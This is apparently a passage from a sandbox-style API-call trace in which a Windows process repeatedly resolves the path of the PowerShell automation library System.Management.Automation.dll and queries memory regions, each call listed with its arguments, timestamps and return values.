GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.919] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.920] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.920] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.920] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.920] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.921] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.921] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.922] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.922] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.922] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.922] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.922] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bf70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bec0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.923] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.924] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.924] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.924] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.924] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.924] VirtualQuery (in: lpAddress=0x22b3f0, lpBuffer=0x22c2b0, dwLength=0x30 | out: lpBuffer=0x22c2b0*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.924] VirtualQuery (in: lpAddress=0x22b480, lpBuffer=0x22c340, dwLength=0x30 | out: lpBuffer=0x22c340*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.924] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22bb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c640, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.925] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22ca10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c960, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] VirtualQuery (in: lpAddress=0x22be90, lpBuffer=0x22cd50, dwLength=0x30 | out: lpBuffer=0x22cd50*(BaseAddress=0x22b000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c5a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x22c050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0054.927] GetFullPathNameW (in: 